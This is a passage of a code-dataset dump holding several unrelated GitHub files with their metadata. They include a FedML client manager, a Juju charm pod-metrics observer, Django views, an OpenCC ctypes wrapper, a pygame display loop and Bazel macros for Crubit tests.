model_params = transform_list_to_tensor(model_params)\n self.trainer.update_model(model_params)\n logging.info(\"client {} receive test request {}\".format(self.rank - 1, msg_params.get(MyMessage.MSG_ARG_KEY_ROUND_IDX)))\n self.__test(msg_params.get(MyMessage.MSG_ARG_KEY_ROUND_IDX))\n logging.info(\"client {} finish testing for {} round\".format(self.rank - 1, msg_params.get(MyMessage.MSG_ARG_KEY_ROUND_IDX)))\n '''\n if msg_params.get(MyMessage.MSG_ARG_KEY_ROUND_IDX) == self.num_rounds - 1:\n self.finish()\n '''\n\n def handle_message_init(self, msg_params):\n global_model_params = msg_params.get(MyMessage.MSG_ARG_KEY_MODEL_PARAMS)\n if self.args.is_mobile == 1:\n global_model_params = transform_list_to_tensor(global_model_params)\n self.trainer.update_model(global_model_params)\n self.__train()\n\n '''\n def start_training(self):\n self.__train()\n '''\n\n def handle_message_receive_model_from_server(self, msg_params):\n logging.info(\"handle_message_receive_model_from_server.\")\n model_params = msg_params.get(MyMessage.MSG_ARG_KEY_MODEL_PARAMS)\n if self.args.is_mobile == 1:\n model_params = transform_list_to_tensor(model_params)\n self.trainer.update_model(model_params)\n self.__train()\n \n\n def send_model_to_server(self, receive_id, weights, local_sample_num):\n message = Message(MyMessage.MSG_TYPE_C2S_SEND_MODEL_TO_SERVER, self.get_sender_id(), receive_id)\n message.add_params(MyMessage.MSG_ARG_KEY_MODEL_PARAMS, weights)\n message.add_params(MyMessage.MSG_ARG_KEY_NUM_SAMPLES, local_sample_num)\n self.send_message(message)\n\n def send_test_result_to_server(self, receive_id, test_result, local_sample_num, round_idx):\n logging.info(\"client {} sending test result\".format(self.get_sender_id() - 1))\n message = Message(MyMessage.MSG_TYPE_C2S_SEND_TEST_RESULT_TO_SERVER, self.get_sender_id(), receive_id)\n message.add_params(MyMessage.MSG_ARG_KEY_TEST_RESULT, test_result)\n message.add_params(MyMessage.MSG_ARG_KEY_NUM_SAMPLES, local_sample_num)\n message.add_params(MyMessage.MSG_ARG_KEY_ROUND_IDX, round_idx)\n self.send_message(message)\n\n def __train(self):\n logging.info(\"#######training########### client = {}\".format(self.get_sender_id() - 1))\n weights, local_sample_num = self.trainer.train()\n self.send_model_to_server(0, weights, local_sample_num)\n\n def __test(self, round_idx):\n test_result, local_sample_num = self.trainer.test()\n self.send_test_result_to_server(0, test_result, local_sample_num, round_idx)","repo_name":"yukizhao1998/FineFL","sub_path":"fedml_api/distributed/fedavg/FedAvgClientManager.py","file_name":"FedAvgClientManager.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"24273110845","text":"import importlib\nfrom pathlib import Path\nfrom typing import List\n\nimport rcn\nfrom cndi.env import getContextEnvironment\nfrom rcn.utils import loadYamlAsClass\nimport os, time, sys\ntry:\n import ior_research\nexcept ModuleNotFoundError:\n sys.path.append(\"../../\")\n\nfrom ior_research.utils.filterchains import MessageFilterChain\nfrom ior_research.IOTClient import IOTClientWrapper\nfrom ior_research.utils.video import VideoTransmitter, createVideoTransmitter\nimport logging\nlogger = logging.getLogger(__name__)\n\nclass Credentials:\n def __init__(self, username, password):\n self.username = username\n self.password = password\n\nclass ProjectConfig:\n def __init__(self, **kwargs):\n self.logger = logging.getLogger('.'.join([self.__class__.__module__, self.__class__.__name__]))\n self.clientCredentialsPath = kwargs['clientJson']\n self.clientCredentialsPath = tuple(map(lambda x:\n os.path.join(os.path.dirname(kwargs['controlnetConfig']),\n x) if not os.path.isabs(x) else x,\n self.clientCredentialsPath\n ))\n self.token = kwargs['token']\n self.videoConfigs = kwargs['streamer'] if 'streamer' in kwargs else None\n self.credentials = kwargs['credentials']\n self.credentials = Credentials(**self.credentials)\n self.filters = kwargs['filters'] if 'filters' in kwargs else list()\n\nclass Initializer:\n def __init__(self, configPath):\n self.projectConfig = loadConfig(configPath)\n self.filterChains = []\n self.transmitter = None\n self.clients = []\n self.loadFilters()\n\n def loadFilters(self):\n if self.projectConfig.filters is None:\n self.projectConfig.filters = list()\n for filterObj in self.projectConfig.filters:\n filter = filterObj.name\n module_elements = filter.split('.')\n module = importlib.import_module(\".\"+module_elements[-2], '.'.join(module_elements[:-2]))\n if module_elements[-1] not in dir(module):\n logger.error(f\"Filter class {module_elements[-1]}, Not found in module {'.'.join(module_elements[:-1])}\")\n raise ImportError(f\"Filter class {module_elements[-1]}, Not found in module {'.'.join(module_elements[:-1])}\")\n classInstance = getattr(module, module_elements[-1])\n objInstance = classInstance(self, configuration=filterObj.configuration)\n self.filterChains.append(objInstance)\n logger.info(f\"Filter Loaded: {filter}\")\n\n\n def addFilter(self, filter: MessageFilterChain):\n self.filterChains.append(filter)\n\n def initializeVideoTransmitter(self) -> VideoTransmitter:\n if self.projectConfig.streamer is None:\n raise Exception(\"Streamer configs not supported\")\n videoStreamerFlag = getContextEnvironment(\"rcn.initializer.video.enabled\", defaultValue=True, castFunc=bool)\n if not videoStreamerFlag:\n raise Exception(\"Video Streaming not supported\")\n\n videoTransmitter = createVideoTransmitter(**self.projectConfig.streamer)\n videoTransmitter.setCredentials(self.projectConfig.credentials)\n self.transmitter = videoTransmitter\n return videoTransmitter\n\n def processMessageInFilterChain(self, message):\n for filter in self.filterChains:\n output = filter.doFilter(message)\n if output is not None:\n message = output\n\n def initializeIOTWrapper(self, server=\"localhost\", httpPort=5001, tcpPort=8000) -> List[IOTClientWrapper]:\n iotWrapperFlag = getContextEnvironment(\"rcn.initializer.iot.wrapper.enabled\", defaultValue=True, castFunc=bool)\n if not iotWrapperFlag:\n raise Exception(\"IOT Wrapper Initialization not supported\")\n\n\n clients = list()\n for clientPath in self.projectConfig.clientJson:\n filePath = os.path.join(Path.home().absolute(), \".rcn\", clientPath)\n config = {\n \"server\": server,\n \"httpPort\": httpPort,\n \"tcpPort\": tcpPort,\n \"useSSL\": False,\n \"file\": filePath\n }\n\n def onReceive(message):\n self.processMessageInFilterChain(message)\n\n client = IOTClientWrapper(self.projectConfig.token, config=config)\n client.set_on_receive(onReceive)\n clients.append(client)\n self.clients = clients\n return clients\n\ndef loadConfig(config):\n if not os.path.isabs(config):\n config = os.path.abspath(config)\n data = loadYamlAsClass(config)\n data.credentials = Credentials(**data.credentials)\n\n # config = ProjectConfig(controlnetConfig=config, **data)\n return data\n\nif __name__ == \"__main__\":\n initializer = Initializer(\"../../config/iorConfigsFrom.yml\")\n videoTransmitter = initializer.initializeVideoTransmitter()\n videoTransmitter.openBrowserAndHitLink()\n while videoTransmitter.checkBrowserAlive():\n time.sleep(1)\n\n","repo_name":"RControlNet/ior-python","sub_path":"ior_research/utils/initializers.py","file_name":"initializers.py","file_ext":"py","file_size_in_byte":5139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22219050973","text":"from places.models import Place, Image\nfrom django.http import JsonResponse\nfrom django.shortcuts import get_object_or_404\n\n\ndef show_place_page(request, id):\n place = get_object_or_404(Place, id=id)\n imgs = [img.img.url for img in place.imgs.all()]\n place_json = {\n 'title': place.title,\n 'imgs': imgs,\n 'description_short': place.short_description,\n 'description_long': place.long_description,\n 'coordinates': {\n 'lat': place.lat,\n 'lng': place.lon\n }\n }\n response = JsonResponse(place_json, safe=False, json_dumps_params={\n 'ensure_ascii': False,\n 'indent': 4\n })\n return response\n","repo_name":"kostyamorales/where_to_go","sub_path":"places/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"11677699638","text":"\nimport os\nfrom ctypes.util import find_library\nfrom ctypes import CDLL, cast, c_char_p, c_int, c_size_t, c_void_p\n\n_libcfile = find_library('c') or 'libc.so.6'\nlibc = CDLL(_libcfile, use_errno=True)\n\n_libopenccfile = os.environ.get('LIBOPENCC') or find_library('opencc')\n\nif _libopenccfile:\n libopencc = CDLL(_libopenccfile, use_errno=True)\nelse:\n libopencc = CDLL('libopencc.so.1', use_errno=True)\n\nlibc.free.argtypes = [c_void_p]\nlibopencc.opencc_open.restype = c_void_p\nlibopencc.opencc_convert_utf8.argtypes = [c_void_p, c_char_p, c_size_t]\nlibopencc.opencc_convert_utf8.restype = c_void_p\nlibopencc.opencc_close.argtypes = [c_void_p]\nlibopencc.opencc_perror.argtypes = [c_char_p]\nlibopencc.opencc_dict_load.argtypes = [c_void_p, c_char_p, c_int]\n\nCONFIGS = [\n 'zhs2zhtw_p.ini', 'zhs2zhtw_v.ini', 'zhs2zhtw_vp.ini',\n 'zht2zhtw_p.ini', 'zht2zhtw_v.ini', 'zht2zhtw_vp.ini',\n 'zhtw2zhs.ini', 'zhtw2zht.ini', 'zhtw2zhcn_s.ini', 'zhtw2zhcn_t.ini',\n 'zhs2zht.ini', 'zht2zhs.ini',\n]\n\ndef convert(text, config='zht2zhs.ini'):\n assert config in CONFIGS\n od = libopencc.opencc_open(c_char_p(config))\n retv_i = libopencc.opencc_convert_utf8(od, text, len(text))\n if retv_i == -1:\n raise Exception('OpenCC Convert Error')\n retv_c = cast(retv_i, c_char_p)\n value = retv_c.value\n libc.free(retv_c)\n libopencc.opencc_close(od)\n return value\n","repo_name":"yorkie/django-t2s","sub_path":"t2s/opencc.native.py","file_name":"opencc.native.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14725706187","text":"import json\nimport logging\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Dict, Iterable\n\nfrom lightkube import Client\nfrom lightkube.resources.core_v1 import Pod\nfrom ops.charm import CharmBase, CharmEvents\nfrom ops.framework import EventBase, EventSource, Object, StoredState\n\nlogger = logging.getLogger(__name__)\n\n# The unique Charmhub library identifier, never change it\nLIBID = \"a141d5620152466781ed83aafb948d03\"\n\n# Increment this major API version when introducing breaking changes\nLIBAPI = 0\n\n# Increment this PATCH version before using `charmcraft publish-lib` or reset\n# to 0 if you are raising the major API version\nLIBPATCH = 4\n\n# File path where metrics endpoint change data is written for exchange\n# between the discovery process and the materialised event.\nPAYLOAD_FILE_PATH = \"/tmp/metrics-endpoint-payload.json\"\n\n# File path for the spawned discovery process to write logs.\nLOG_FILE_PATH = \"/var/log/discovery.log\"\n\n\nclass MetricsEndpointChangeEvent(EventBase):\n \"\"\"A custom event for metrics endpoint changes.\"\"\"\n\n def __init__(self, handle):\n super().__init__(handle)\n\n with open(PAYLOAD_FILE_PATH, \"r\") as f:\n self._discovered = json.loads(f.read())\n\n def snapshot(self):\n \"\"\"Save the event payload data.\"\"\"\n return {\"payload\": self._discovered}\n\n def restore(self, snapshot):\n \"\"\"Restore the event payload data.\"\"\"\n self._discovered = {}\n\n if snapshot:\n self._discovered = snapshot[\"payload\"]\n\n @property\n def discovered(self):\n \"\"\"Return the payload of detected endpoint changes for this event.\"\"\"\n return self._discovered\n\n\nclass MetricsEndpointChangeCharmEvents(CharmEvents):\n \"\"\"A CharmEvents extension for metrics endpoint changes.\n\n Includes :class:`MetricsEndpointChangeEvent` in those that can be handled.\n \"\"\"\n\n metrics_endpoint_change = EventSource(MetricsEndpointChangeEvent)\n\n\nclass MetricsEndpointObserver(Object):\n \"\"\"Observes changing metrics endpoints in the cluster.\n\n Observed endpoint changes cause :class\"`MetricsEndpointChangeEvent` to be emitted.\n \"\"\"\n\n # Yes, we need this so we can track it between events\n _stored = StoredState()\n\n def __init__(self, charm: CharmBase, labels: Dict[str, Iterable]):\n \"\"\"Constructor for MetricsEndpointObserver.\n\n Args:\n charm: the charm that is instantiating the library.\n labels: dictionary of label/value to be observed for changing metrics endpoints.\n \"\"\"\n super().__init__(charm, \"metrics-endpoint-observer\")\n self._charm = charm\n self._labels = labels\n self.start_observer()\n\n def start_observer(self):\n \"\"\"Start the metrics endpoint observer running in a new process.\"\"\"\n self.stop_observers()\n\n # We need to trick Juju into thinking that we are not running\n # in a hook context, as Juju will disallow use of juju-run.\n new_env = os.environ.copy()\n if \"JUJU_CONTEXT_ID\" in new_env:\n new_env.pop(\"JUJU_CONTEXT_ID\")\n\n tool_prefix = \"/usr/bin\"\n if Path(tool_prefix, \"juju-run\").exists():\n tool_path = Path(tool_prefix, \"juju-run\")\n else:\n tool_path = Path(tool_prefix, \"juju-exec\")\n\n subprocess.Popen(\n [\n \"/usr/bin/python3\",\n \"lib/charms/observability_libs/v{}/metrics_endpoint_discovery.py\".format(LIBAPI),\n json.dumps(self._labels),\n str(tool_path),\n self._charm.unit.name,\n self._charm.charm_dir,\n ],\n stdout=open(LOG_FILE_PATH, \"a\"),\n stderr=subprocess.STDOUT,\n start_new_session=True,\n env=new_env,\n )\n\n def stop_observers(self):\n \"\"\"Stops all running instances of the observer.\"\"\"\n logging.info(\"Stopping all running metrics endpoint observer processes\")\n subprocess.run(\n [\n \"pkill\",\n \"--signal\",\n \"INT\",\n \"-f\",\n r\".*lib/charms/observability_libs/v[0-9]/metrics_endpoint_discovery\\.py.*\",\n ]\n )\n\n @property\n def unit_tag(self):\n \"\"\"Juju-style tag identifying the unit being run by this charm.\"\"\"\n unit_num = self._charm.unit.name.split(\"/\")[-1]\n return \"unit-{}-{}\".format(self._charm.app.name, unit_num)\n\n\ndef write_payload(payload):\n \"\"\"Write the input event data to event payload file.\"\"\"\n with open(PAYLOAD_FILE_PATH, \"w\") as f:\n f.write(json.dumps(payload))\n\n\ndef dispatch(run_cmd, unit, charm_dir):\n \"\"\"Use the input juju-run command to dispatch a :class:`MetricsEndpointChangeEvent`.\"\"\"\n dispatch_sub_cmd = \"JUJU_DISPATCH_PATH=hooks/metrics_endpoint_change {}/dispatch\"\n subprocess.run([run_cmd, \"-u\", unit, dispatch_sub_cmd.format(charm_dir)])\n\n\ndef main():\n \"\"\"Main watch and dispatch loop.\n\n Watch the input k8s service names. When changes are detected, write the\n observed data to the payload file, and dispatch the change event.\n \"\"\"\n labels, run_cmd, unit, charm_dir = sys.argv[1:]\n\n client = Client()\n labels = json.loads(labels)\n\n for change, entity in client.watch(Pod, namespace=\"*\", labels=labels):\n if Path(PAYLOAD_FILE_PATH).exists():\n dispatch(run_cmd, unit, charm_dir)\n Path(PAYLOAD_FILE_PATH).unlink()\n meta = entity.metadata\n metrics_path = \"\"\n if entity.metadata.annotations.get(\"prometheus.io/path\", \"\"):\n metrics_path = entity.metadata.annotations.get(\"prometheus.io/path\", \"\")\n\n target_ports = []\n for c in filter(lambda c: c.ports is not None, entity.spec.containers):\n for p in filter(lambda p: p.name == \"metrics\", c.ports):\n target_ports.append(\"*:{}\".format(p.containerPort))\n\n payload = {\n \"change\": change,\n \"namespace\": meta.namespace,\n \"name\": meta.name,\n \"path\": metrics_path,\n \"targets\": target_ports or [\"*:80\"],\n }\n\n write_payload(payload)\n dispatch(run_cmd, unit, charm_dir)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"canonical/seldon-core-operator","sub_path":"lib/charms/observability_libs/v0/metrics_endpoint_discovery.py","file_name":"metrics_endpoint_discovery.py","file_ext":"py","file_size_in_byte":6240,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"29354835406","text":"from django.shortcuts import render,redirect\nfrom exam.views import database,checkpermission\n# Create your views here.\n\ndef viewNotifications(request):\n c=checkpermission(request,request.path)\n if(c==-1):\n return redirect('/')\n elif(c==0):\n return redirect('/home')\n d = database.child('notifications').get().val()\n l=[]\n if d:\n from datetime import datetime\n for i in d:\n if i !='free':\n l.append({\n 'nid':i,\n 'time':datetime.fromtimestamp(d[i]['time']/1000),\n 'title':d[i]['title'],\n 'to':d[i]['to']\n })\n return render(request,'./notification/viewNotifications.html',{'data':l})\n\n\ndef addNotifications(request):\n c=checkpermission(request,request.path)\n if(c==-1):\n return redirect('/')\n elif(c==0):\n return redirect('/home')\n if request.method == 'POST':\n title = request.POST.get('title')\n desc = request.POST.get('discription')\n to = request.POST.get('to')\n print(to)\n \n if(title and desc and to):\n data = database.child(to).get().val()\n token=[]\n td = data\n from datetime import datetime\n time_now = int(datetime.now().timestamp()*1000)\n print(time_now)\n tid = {}\n if data:\n temp = database.child('notifications').child('free').shallow().get().val()\n if temp:\n idd = temp\n else:\n idd = 100000000000000\n print(temp)\n for j in data:\n tid[j] = 'done'\n if 'notifications' in data[j]:\n \n if 'token' in data[j]['notifications']:\n \n token.append(data[j]['notifications']['token'])\n \n\n else:\n td[j]['notifications']={}\n if 'notes' not in data[j]['notifications']:\n td[j]['notifications']['notes']={}\n td[j]['notifications']['notes'][idd]=time_now\n \n\n if token:\n import requests\n r = requests.post('https://exp.host/--/api/v2/push/send',\n headers={\n \"HTTP_ACCEPT\":'application/json',\n \"HTTP_ACCEPT_ENCODING\":'gzip, deflate',\n \"HTTP_HOST\":'the-proficiency.com',\n 'Content-type': 'application/json'\n },\n json={\n 'to':token, \n 'title': title, \n 'body': desc, \n 'priority': \"high\", \n 'sound':\"default\", \n 'channelId':\"default\", \n\n })\n import ast\n d = ast.literal_eval(r.text)['data']\n if d[0]['status'] == 'ok':\n database.child('notifications').child(idd).update({\n 'by':request.session['user'],\n 'discription':desc,\n 'time':time_now,\n 'title':title,\n 'to':to,\n 'ids':tid\n })\n database.child('notifications').update({'free':idd+1})\n database.child('/').update({to:td})\n else:\n data={\n 'title':title,\n 'desc':desc,\n 'to':to,\n 'error':\"Please fill all the details.\"\n }\n return render(request,'./notification/addNotifications.html',{'data':data})\n return render(request,'./notification/addNotifications.html')\n\n\ndef seeNotifications(request):\n c=checkpermission(request,request.path)\n if(c==-1):\n return redirect('/')\n elif(c==0):\n return redirect('/home')\n nid = request.GET.get('nid')\n data = database.child('notifications').child(nid).get().val()\n from datetime import datetime\n data['time']= datetime.fromtimestamp(data['time']/100)\n return render(request,'./notification/seeNotifications.html',{'data':data, 'nID':nid})\n\n\n ","repo_name":"rahul18091999/the-proficiency","sub_path":"notifications/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36856718256","text":"#!/usr/bin/env python2.7\n\nimport pygame_sdl2\npygame_sdl2.import_as_pygame()\n\nfrom pygame import FULLSCREEN\nfrom pygame.locals import *\n\nfrom pprint import pprint\n\nimport datetime\nimport os\nimport sys\nimport random\nimport time\n\nimport pygame.display\nimport pygame.draw\nimport pygame.event\nimport pygame.font\nimport pygame.image\nimport pygame.joystick\nimport pygame.mouse\nimport pygame.time\n\nimport cell\n\nTIME_FORMAT = '%H:%M'\n\ndef aspect_scale(img, screen_size):\n (bx, by) = screen_size\n ix, iy = img.get_size()\n\n if ix > iy:\n scale_factor = bx / float(ix)\n sy = scale_factor * iy\n if sy > by:\n scale_factor = by / float(iy)\n sx = scale_factor * ix\n sy = by\n else:\n sx = bx\n else:\n scale_factor = by / float(iy)\n sx = scale_factor * ix\n if sx > bx:\n scale_factor = bx / float(ix)\n sx = bx\n sy = scale_factor * iy\n else:\n sy = by\n scaled_image = pygame.transform.scale(\n img,\n (sx, sy))\n return scaled_image\n\n\ndef load_img(screen_size, cm, img_src='/var/www/static/img/cam.jpg'):\n done = False\n while not done:\n try:\n cm.talk(\"DISPLAY:Loading image\")\n img = pygame.image.load(img_src).convert_alpha()\n cm.talk(\"DISPLAY:Scaling image\")\n img = aspect_scale(img, screen_size)\n color = img.get_at((1, 1))\n cm.talk(\"DISPLAY:Scaling done\")\n return img, color\n except:\n cm.talk(\"DISPLAY:Failed to load image\")\n time.sleep(0.5)\n\ndef calc_center(screen_size, img_size):\n pos = [0, 0]\n if img_size[0] < screen_size[0]:\n pos[0] = (screen_size[0] - img_size[0]) / 2.0\n if img_size[1] < screen_size[1]:\n pos[1] = (screen_size[1] - img_size[1]) / 2.0\n return tuple(pos)\n\n\ndef fc_color(color):\n fc = [0, 0, 0]\n for i in range(3):\n if color[i] - 128 > 0:\n fc[i] = color[i] - 64 - random.random() * 40\n else:\n if color[i] + 128 < 255:\n fc[i] = color[i] + 64 - random.random() * 40\n else:\n fc[i] = 255\n return tuple(fc)\n\n\ndef render_time(fc, myfont):\n now = str(datetime.datetime.now().strftime(TIME_FORMAT))\n now = myfont.render(now, 1, fc)\n return now\n\n\ndef render_hostname(fc, myfont, hostname):\n rendered_hostname = myfont.render(\n hostname.title(),\n 0.7,\n fc)\n return rendered_hostname\n\n\ndef load_fonts():\n fonts = {}\n\n bpath = __file__.replace(os.path.basename(__file__), '')\n bpath = os.path.join(bpath, 'gfx', 'fonts')\n font_filenames = os.listdir(bpath)\n\n sizes = [15, 18, 23, 25, 27, 28]\n\n for size in sizes:\n for font_filename in font_filenames:\n if font_filename.endswith('.ttf'):\n name = os.path.basename(font_filename).split('.')[0].lower()\n path = \"./\" + os.path.join(bpath, font_filename)\n fonts[name] = {}\n fonts[name][size] = pygame.font.Font(path, size)\n return fonts\n\n\ndef load_images():\n images = {}\n\n bpath = __file__.replace(os.path.basename(__file__), '')\n bpath = os.path.join(bpath, 'gfx', 'img')\n image_filenames = os.listdir(bpath)\n\n for image_filename in image_filenames:\n path = os.path.join(\"./\", bpath, image_filename)\n name = name = os.path.basename(image_filename).split('.')[0].lower()\n image = pygame.image.load(path).convert()\n colorkey = image.get_at((10, 10))\n image.set_colorkey(colorkey)\n images[name] = image\n return images\n\n'''\n image = image.convert()\n colorkey = image.get_at((0,0))\n image.set_colorkey(colorkey, RLEACCEL)\n'''\n\ndef event_looper():\n msg = ''\n pygame.event.pump()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return False\n\n # mouse move\n elif event.type == pygame.MOUSEMOTION:\n x, y = event.pos\n # don't dispatch motion if no button are pressed\n if event.buttons == (0, 0, 0):\n continue\n msg = 'on_mouse_move: x:%i y:%i' % (x, y)\n\n # mouse action\n elif event.type in (pygame.MOUSEBUTTONDOWN,\n pygame.MOUSEBUTTONUP):\n x, y = event.pos\n btn = 'left'\n if event.button == 3:\n btn = 'right'\n elif event.button == 2:\n btn = 'middle'\n elif event.button == 4:\n btn = 'scrolldown'\n elif event.button == 5:\n btn = 'scrollup'\n elif event.button == 6:\n btn = 'scrollright'\n elif event.button == 7:\n btn = 'scrollleft'\n\n eventname = 'on_mouse_down'\n\n if event.type == pygame.MOUSEBUTTONUP:\n eventname = 'on_mouse_up'\n msg = \"%s: x:%s y:%s btn:%s\" % (eventname, x, y, btn)\n\n # joystick action\n elif event.type == pygame.JOYAXISMOTION:\n msg = 'on_joy_axis: joy:%s axis:%s value:%s' % (\n event.joy, event.axis, event.value)\n\n elif event.type == pygame.JOYHATMOTION:\n msg = 'on_joy_hat: event:%s hat:%s value:%s' % (\n event.joy, event.hat, event.value)\n\n elif event.type == pygame.JOYBALLMOTION:\n msg = 'on_joy_ball: joy:%s ballid:%s rel0:%i rel1:%i' % (\n event.joy, event.ballid, event.rel[0], event.rel[1])\n\n elif event.type == pygame.JOYBUTTONDOWN:\n msg = 'on_joy_button_down: joy:%s btn:%i' % (\n event.joy, event.button)\n\n elif event.type == pygame.JOYBUTTONUP:\n msg = 'on_joy_button_up: joy:%s btn:%i' % (\n event.joy, event.button)\n\n elif event.type in (pygame.KEYDOWN, pygame.KEYUP):\n if event.type == pygame.KEYUP:\n msg = 'on_key_up: key:%s scancode:%s' % (\n event.key, event.scancode)\n\n msg = 'on_key_down: key:%s scandoe:%s unicode:%s' % (\n event.key, event.scancode, event.unicode)\n\n elif event.type == pygame.VIDEORESIZE:\n #self._size = event.size\n #self.update_viewport()\n msg = 'VIDEORESIZE %s' %event.size\n\n return msg\n\n\ndef main(cm):\n msg = \"DISPLAY:INIT:Initialization starting\"\n cm.talk(msg)\n initialized = False\n\n while not initialized:\n pygame.init()\n pygame.display.init()\n pygame.font.init()\n\n modes_avail = pygame.display.list_modes(16)\n\n if cm.hostname == 'higgsboson':\n mode = modes_avail[-1]\n else:\n mode = modes_avail[0]\n\n screen = pygame.display.set_mode(\n mode,\n NOFRAME | DOUBLEBUF,\n 16)\n\n for i in range(10):\n cm.talk(\"DISPLAY:REGISTER:X:%s:Y:%s\" % (\n str(mode[0]),\n str(mode[1])))\n time.sleep(0.001)\n\n initialized = True\n cm.talk(\"DISPLAY:INIT:Initialization finished\")\n\n fonts = load_fonts()\n msg = \"DISPLAY:FONTS:%s\" % [f.title() for f in fonts]\n cm.talk(msg)\n\n images = load_images()\n msg = \"DISPLAY:IMAGES:%s\" % [i.title() for i in images]\n cm.talk(msg)\n\n quit = False\n\n bs = range(100, 255, 8)\n\n PADDING = int(mode[1] / 100.0)\n\n i = 0\n\n brightness = 0.01\n\n\n bgs = []\n cart_rect = pygame.Surface((mode[0] / 50.0, mode[0] / 50.0))\n\n for i in range(10):\n bg = pygame.Surface((mode))\n bg.fill((0, 0, 0))\n for x in range(40):\n for y in range(40):\n rnd = random.random()\n rnd1 = random.random()\n c = 160 - (y * 4 * (random.random()))\n if rnd < 0.3:\n r = 1 - (1 / ((rnd1 + 1 / c) * 2))\n g = 1 - (1 / ((rnd1 + 1 / c) * 4))\n b = 1 / c\n elif rnd < 0.6:\n r = 1 - (1 / ((rnd / 3 + 1 / c) * 2))\n g = 1 - (1 / ((rnd1 + 1 / c) * 4))\n b = 1 / c\n else:\n r = 1 - (1 / ((rnd / 3 + 1 / c) * 2))\n g = 1 - (1 / ((rnd1 / 2 + 1 / c) * 4))\n b = 1 / c\n\n r = abs(r)\n g = abs(g)\n b = abs(b)\n\n if r > 1:\n r = 1\n if g > 1:\n g = 1\n if b > 1:\n b = 1\n\n color = (r * c, g * c, b * c)\n\n cart_rect.fill((color))\n\n bg.blit(cart_rect, (x * cart_rect.get_width(),\n y * cart_rect.get_height()))\n\n bgs.append(bg)\n \n\n screen.fill((0, 0, 0))\n\n refresh_logo = True\n\n while not quit:\n stime = time.time()\n\n xpos = (mode[0] -\n PADDING - (brightness * PADDING * 200))\n\n rnd = random.random()\n\n if refresh_logo:\n ypos = mode[1] - images['logo'].get_height() - cart_rect.get_height() * (rnd * 10)\n for i in bs:\n if rnd < 0.3:\n color = (i, rnd1, 0)\n elif rnd < 0.6:\n color = (i, rnd1, 0)\n else:\n color = (i, i, i)\n\n if i % 7 == 0:\n screen.blit(bgs[int(random.random() * len(bgs))], (0,0))\n\n alpha = i * brightness\n images['logo'].set_alpha(alpha)\n\n screen.blit(images['logo'],\n (xpos, ypos + PADDING))\n pygame.display.update()\n\n time.sleep(0.01)\n\n for i in bs:\n i = 255 - i\n if rnd < 0.3:\n color = (i, rnd1, 0)\n elif rnd < 0.6:\n color = (i, rnd1, 0)\n else:\n color = (i, i, i)\n\n if i % 7 == 0:\n screen.blit(bgs[int(random.random() * len(bgs))], (0,0))\n\n alpha = i * brightness\n images['logo'].set_alpha(alpha)\n\n screen.blit(images['logo'],\n (xpos, ypos + PADDING))\n\n pygame.display.update()\n time.sleep(0.01)\n\n else:\n if i % 99 == 0:\n images['logo'].set_alpha(255)\n xpos = (mode[0] -\n PADDING - (brightness * PADDING * 200))\n screen.blit(bgs[int(random.random() * len(bgs))], (0,0))\n\n rnd = random.random()\n\n #screen.blit(bgs[int(random.random() * len(bgs))], (0,0))\n screen.blit(images['logo'], (xpos, ypos + PADDING))\n pygame.display.update()\n #msg = \"DISPLAY:LOOP:%s\" % str(time.time()-stime)\n #cm.talk(msg)\n i += 0.1\n\n if brightness < 0.9:\n brightness += 0.09\n else:\n refresh_logo = False\n pass\n\n #if int(time.time()) % 9 == 0:\n\n event_msg = event_looper()\n\n if event_msg:\n msg = \"DISPLAY:EVENT:%s\" % event_msg\n cm.talk(msg)\n\n\n pygame.quit()\n\nif __name__ == '__main__':\n cm = cell.Membrane()\n cm.start()\n main(cm)\n","repo_name":"WillemJan/Misc","sub_path":"old/display_nerve_herfst.py","file_name":"display_nerve_herfst.py","file_ext":"py","file_size_in_byte":11547,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"74317583129","text":"# Part of the Crubit project, under the Apache License v2.0 with LLVM\n# Exceptions. See /LICENSE for license information.\n# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n\n\"\"\"Test-only bindings generation macros.\"\"\"\n\nload(\n \"//common:crubit_wrapper_macros_oss.bzl\",\n \"crubit_flavor_transition\",\n)\nload(\n \"//rs_bindings_from_cc/bazel_support:providers.bzl\",\n \"GeneratedBindingsInfo\",\n)\nload(\n \"//rs_bindings_from_cc/bazel_support:rust_bindings_from_cc_aspect.bzl\",\n \"rust_bindings_from_cc_aspect\",\n)\n\ndef crubit_test_cc_library(name, **kwargs):\n \"\"\"A wrapper for cc_library in Crubit integration tests.\n\n This is equivalent to cc_library, but it sets the default aspect_hints to `:experimental`.\n \"\"\"\n kwargs.setdefault(\"aspect_hints\", [\"//:experimental\"])\n native.cc_library(\n name = name,\n **kwargs\n )\n outs_name = name + \".outs\"\n write_crubit_outs(\n name = outs_name,\n cc_library = \":\" + name,\n # note: this cannot be just + \"_rust_api.rs\", etc., because then two different actions would\n # produce the same file.\n outs = [\n \"generated_bindings/\" + name + \"_rust_api.rs\",\n \"generated_bindings/\" + name + \"_rust_api_impl.cc\",\n ],\n )\n\ndef _write_crubit_outs_impl(ctx):\n cc_library = ctx.attr.cc_library[0]\n if not GeneratedBindingsInfo in cc_library:\n fail(\"Bindings were not generated for the given cc_library.\")\n bindings = cc_library[GeneratedBindingsInfo]\n symlinks = []\n for out in ctx.outputs.outs:\n if out.extension == \"cc\":\n f = bindings.cc_file\n elif out.extension == \"rs\":\n f = bindings.rust_file\n elif out.extension == \"json\":\n f = bindings.namespaces_file\n else:\n fail(\"Unknown file extension; can't infer which output to copy out: \" + out)\n 